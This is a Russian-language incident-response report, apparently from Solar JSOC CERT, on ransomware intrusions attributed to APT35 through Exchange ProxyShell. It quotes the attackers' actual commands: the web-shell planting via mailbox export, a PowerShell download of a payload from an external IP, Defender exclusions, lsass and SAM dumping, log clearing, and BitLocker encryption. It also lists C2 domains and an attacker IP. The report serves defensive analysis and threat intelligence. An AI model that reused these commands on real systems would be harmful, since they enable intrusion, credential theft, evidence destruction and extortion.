Как мы обнаружили иранских хакеров APT35 в инфраструктуре компаний

[pablo]

С мая 2022 года мы столкнулись с двумя кейсами, где атакующие используют уязвимость Microsoft Exchange ProxyShell для первоначального доступа и размещения веб-шеллов. Скорее всего, атака связана с группой APT35 (иранская группировка, спонсируемая государством). К такому выводу мы пришли, проанализировав тактики и техники, приписываемые группе. Также некоторые обнаруженные индикаторы схожи с теми, что атрибутированы группе. Но обо всем по порядку.

С чего все началось​

Чего обычно хотят группировки, действующие в интересах какого-то государства? Их типичные цели - это шпионаж и кража ценных данных. Однако наши кейсы - исключение из правил. Атаке подвергались коммерческие компании, которые в обычных условиях не попали бы в поле зрения таких группировок. Их конечная цель сместилась на получение финансовой выгоды путем шифрования инфраструктуры атакованной компании и требования выкупа. Вспоминаются небезызвестные Lazarus, которые занимаются масштабным кибершпионажем, но при этом осуществляют атаки на криптовалюты, криптобиржи и используют шифровальщики для получения финансовой выгоды. Возникают интересные вопросы. Являются ли попытки прямой монетизации атаки для таких злоумышленников следствием урезания финансирования? Были ли такие действия санкционированы? Пойдут ли по такому же пути иные группировки? Скорее всего, время покажет.

Но вернемся к атаке. Интересен способ отправки требования выкупа. Для этого использовалась обычная печать на принтере. Пример такого письма:

Получив такие письма, жертвы обратились к нам, и к исследованию подключились специалисты Solar JSOC CERT. Ниже описаны тактики, техники и инструменты, использованные в атаках. Данные нам удалось получить в результате исследования образов систем.

Первоначальный доступ​

Как упоминалось ранее, для атаки была задействована уязвимость ProxyShell. Для подтверждения использования уязвимости можно обратиться к журналу MSExchange Management и журналам из каталога W3SVC1 (для дополнительного подтверждения можно посмотреть и другие журналы).

Для первоначального размещения веб-шеллов с использованием уязвимости ProxyShell применялись команды:

• New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "<REDACTED>@<REDACTED>" – присвоение корректной роли учетной записи для возможности импорта и экспорта почтового ящика;
• New-MailboxExportRequest -Mailbox "<REDACTED>@<REDACTED>" -FilePath "\\localhost\E$\ExchangeServer\V15\FrontEnd\HttpProxy\ecp\auth\aspx_qdiaxtuajjd.aspx" -IncludeFolders ("#Drafts#") -ContentFilter "Subject -eq 'aspx_qdiaxtuajjd'" – команда для экспорта почтового ящика с темой «aspx_qdiaxtuajjd» в файл с расширением aspx. В указанном примере можно обратить внимание на использование нестандартного раздела (не C:\) для установленной версии Exchange;
• Remove-MailboxExportRequest -Confirm "False" -Force "True" -Identity "26893b0c-dfc1-4776-83d0-e489e3506b32" – команда на удаление запроса выше.

Загруженный веб-шелл имеет функции загрузки и выгрузки файлов, а также запуска определённых исполняемых файлов. Например, может выполнять команды через оболочку powershell.

Расположение и наименования первоначального веб-шелла:

• \\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_scyieqfkxna.aspx
• \\localhost\E$\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\aspx_qdiaxtuajjd.aspx
• \\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_pdydmpramaj.aspx

Можно отметить, что атакующие корректно определяют раздел, на который установлено ПО Microsoft Exchange, что необходимо для эксплуатации размещенных веб-шеллов.

Обратите внимание, что наименование веб-шеллов, размещенных с использованием ProxyShell, имеет повторяющийся паттерн: константа «aspx_», после чего идет 12 случайных символов латинского алфавита и расширение «.aspx».

Пример кода веб-шелла:

Что интересно, после размещения такого многофункционального веб-шелла, осуществляется размещение меньших веб-шеллов:

Расположения, в которых последние размещались:

• C:\inetpub\wwwroot\aspnet_client\system_web\default.aspx
• E:\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\login.aspx
• C:\inetpub\wwwroot\aspnet_client\system_web\default.aspx.req
• C:\inetpub\wwwroot\aspnet_client\system_web\info.aspx.req

Последовательность действий после осуществления первоначального доступа:

1. Создается исключение из проверок для Microsoft Defender для каталога C:\Windows:
   HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows
2. После проникновения осуществляется последовательное размещение трех исполняемых файлов, их запуск, и выполнение некоторых команд. Размещенные файлы:
   C:\windows\temp\user.exe
C:\windows\temp\task_update.exe
C:\Windows\dllhost.exe
   Описание действий, осуществляемых исполняемыми файлами приведено далее.
3. Осуществляется разведка
   C:\windows\system32\query.exe
C:\windows\system32\quser.exe
4. Добавляется правило для FW:
   FW rule added to exception list | *: * | : Terminal Server | LocalPorts:3389 | RemotePorts:*
5. Запускается TermService
6. Изменяется значение ключа UseLogonCredential по пути к ветке реестра Control\SecurityProviders\WDigest, которому присвоено значение «1», что позволяет хранить пароли в открытом виде в памяти.
7. В обоих случаях имеются следы дампа процесса lsass. В первом случае имеются следы обращения к файлу C:\Users\DefaultAccount\AppData\Local\Temp\lsass.zip с использованием созданной учетной записи DefaultAccount. При этом указанные следы имеются уже после первоначальных следов доступа. За 30 секунд до создания дампа имелись следы запуска менеджера задач (taskmgr.exe), с использованием которого можно создать дамп процесса, который будет сохранен по умолчанию в каталог, в котором находился файл «lsass.zip». Во втором случае имеется файл С:\Windows\Temp\ssasl.pmd, который архивирован в \Windows\Temp\ssasl.zip. Можно заметить, что имя файла «ssasl.pmd» представляет собой зеркальную запись от «lsass.dmp». Указанные следы имеются сразу после первоначального доступа.

Можно обратить внимание, что все вышеперечисленные действия, начиная с эксплуатации ProxyShell до размещения ВПО и его закрепления, осуществляются менее чем за 10 минут и имеют видимый повторяющийся паттерн. Таким образом, можно предположить, что все они осуществляются автоматически.

Анализ ВПО​

1. Файл «user.exe». Предназначен для создания учетной записи DefaultAccount c паролем «P@ssw0rd1234», добавления учетной записи в группе локальных администраторов (окончательный список групп: Administrators, Remote Desktop Users, Distributed COM Users, System Managed Accounts Group), разрешения RDP-доступа к указанной УЗ.
2. Файл «task_update.exe». При запуске выполняет следующие действия:

• schtasks.exe /Create /F /XML %wintmp%\Wininet.xml /tn '\Microsoft\Windows\Maintenance\Wininet'
• schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet'
• try { Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {}
• powershell /c {$file='c:\windows\dllhost.exe'; Invoke-WebRequest -Uri 'http://172.245.26.118/aaa' -OutFile $file}
• certutil -addstore -f root C:\Windows\Temp\cert.cer

Таким образом, файл создает и запускает задачу Wininet, добавляет каталог «C:\Windows» в исключения для Microsoft Defender, загружает файл «c:\windows\dllhost.exe» и добавляет самоподписанный сертификат в корневые с использованием certutil из файла C:\Windows\Temp\cert.cer. На одном из хостов обнаружен такой сертификат:

При этом на исследованных хостах имеются 2 задачи, одна из которых предположительно создается через веб-шелл:

• \Microsoft\Windows\Maintenance\Wininet
• \'\Microsoft\Windows\Maintenance\Wininet'

1. Данные командного файла «Wininet.bat»:

Как видно, командный файл просто запускает исполнение программы «dllhost.exe» в бесконечном цикле.

1. Файл «dllhost.exe» является измененной программой реверс-прокси FRPC, собранной из проекта https://github.com/fatedier/frp. Программа написана на языке Go. Ей может быть отдан параметр IP-адреса, к которому осуществляется подключение. Также установлено, что в программе имеются следующие домены:

• kcp53.tcp443[.]org
• tcp443.tcp443[.]org
• kcp53.msupdate[.]us
• tcp443.msupdate[.]us

После запуска выполняются команды:

powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |  ft -hidetableheaders"
cmd /c "wmic computersystem get domain"

5. Файл C:\Users\kdadmin\Desktop\New folder\install-proxy.bat, данные:

Командный файл выполняет следующие действия:

• Добавляет каталог «C:\ProgramData» в исключения для Microsoft Defender, создает каталог C:\ProgramData\Microsoft\Windows\DllHost, копирует в него файл dllhost.exe, создает другой командный файл C:\ProgramData\Microsoft\CacheTask.bat.
• Сохраняет сертификат, хранящийся в теле командного файла в файл С:\Windows\Temp\cert.cer и устанавливает его в качестве корневого. Можно отметить, что сертификат совпадает с тем, который описан ранее (файлы сертификата и командного найдены на разных хостах).
• Далее создает и запускает задачу "\Microsoft\Windows\Maintenance\CacheTask", после чего удаляет файл «CacheTask.xml» и самого себя. Можно отметить, что функционал задачи CacheTask полностью аналогичен задаче Wininet – запуск программы-прокси «dllhost.exe» с использованием командного файла «CacheTask.bat» (предположительно аналогичен «Wininet.bat»).

Исследование атаки. Продолжение​

Дальнейшее развитие атаки осуществлялось с использованием созданной учетной записи DefaultAccount, в результате подключения по RDP. При этом в большинстве случаев в событиях создания сессии RDP из журналов ОС содержали внешние IP-адреса атакованных систем или 127.0.0.1, предположительно из-за использования программы-прокси dllhost.exe. Однако в одном из кейсов имеется событие eventid 131 (RDP server accepted a new TCP connection) в котором числится IP-адрес, 86.57.3.147, предположительно принадлежащий атакующим. А согласно данным из открытых источников, указанный адрес принадлежит сети AS 43754 (Asiatech Data Transmission company), которая находится как раз в Иране.

После получения учетных записей (после включения хранения паролей в памяти в открытом виде и дампа процесса lsass) осуществляется перемещение на другие хосты компании, также с активным использованием RDP.

Также на различных хостах можно отметить следующие следы:

1. Использование программы SoftPerfectNetworkScanner. C:\Users\DefaultAccount\Desktop\netscanold.zip – архив, в котором находится исполняемый «netscanold.exe», который является программой SoftPerfectNetworkScanner. Также в архиве находится файл конфигурации «netscanold.xml». Результат сканирования помещался в файл C:\Users\DefaultAccount\Desktop\scan.xml.
2. Файлы C:\Windows\System32\ewBnYdgI.tmp и C:\Windows\System32\nXGpPHzT.tmp – дампы реестров SAM и Security.
3. Интересные запуски команд для получения данных УЗ и аудита домена:
   .\secretsdump.exe <username>:<password>@<IP address> >hash.txt. Следы запуска скомпилированной версии программы https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/secretsdump.py, предназначенной для получения дампа хэшей паролей УЗ.

.\ADAudit.ps1. Следы запуска скрипта ADAudit.ps1, предположительно взятого из проекта https://github.com/phillips321/adaudit/blob/master/AdAudit.ps1, который позволяет провести быстрый аудит домена.

1. На одном из хостов контроллера домена сохранились команды, которые отдавались в кодированном в base64 виде (команда запуска «powershell.exe -NoP -NoL -NonI -Exec Bypass -Enc»), далее уже декодированные команды:

• $ProgressPreference="SilentlyContinue";Start-Process powershell.exe {Start-Sleep -s 1800; shutdown /r /f /t 0}. Команда на выключение компьютера через 1800 секунд (30 минут)
• C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe net start schedule; Set-Service -Name eventlog -StartupType auto; net start eventlog; wevtutil cl 'Security'; wevtutil cl 'System'; wevtutil cl 'Windows PowerShell'; wevtutil cl 'Microsoft-Windows-PowerShell/Operational'; wevtutil cl 'Microsoft-Windows-TerminalServices-LocalSessionManager/Admin'; wevtutil cl 'Microsoft-Windows-BitLocker/BitLocker Management'. Команда на удаление различных журналов ОС Windows.
• $ProgressPreference="SilentlyContinue";Start-Process powershell.exe {Set-Service -Name eventlog -StartupType disabled; net stop eventlog /y; takeown /F C:\Windows\System32\fvenotify.exe; icacls C:\Windows\System32\fvenotify.exe /deny EVERYONE:F}. Команда – остановка журналирования ОС, получение прав на fvenotify.exe (исполняемый BitLocker) и запрет для всех пользователей
• C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe if (Get-Command Get-ClusterSharedVolume -errorAction SilentlyContinue) { foreach($Cluster in Get-ClusterSharedVolume) { Suspend-ClusterResource $Cluster -Force; $PlainPassword='66f69e-<REDACTED>; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force; enable-bitlocker $Cluster.SharedVolumeInfo.FriendlyVolumeName -password $SecurePassword -PasswordProtector -skiphardwaretest -UsedSpaceOnly;} }. Команда для запуска шифрования. Обратите внимание на использование пароля в открытом виде.

Выводы

Учитывая изложенные выше данные и основываясь на том, что сразу после успешного размещения веб-шеллов осуществляется размещение различных исполняемых файлов, можно предположить, что группа разработала какой-то автоматизированный инструментарий для поиска уязвимых серверов и проведения атак на них.

После получения первоначального доступа осуществляется доступ по протоколу RDP, компрометация иных учетных записей, в далее - горизонтальное перемещение по локальной сети организации и компрометация домена. После этого осуществляется шифрование с использованием BitLocker и оставляется сообщение с требованиями вымогателей.

Интересна скорость развития атаки. В одном случае буквально на следующий день после получения первоначального доступа произошла компрометация домена и была выполнена попытка шифрования с использованием BitLocker. В другом - развитие атаки было более медленным и заняло 11 дней.

Если учесть, что у хакеров есть автоматизированный инструментарий, можно ожидать продолжение атак на различные сети организаций в России.

источник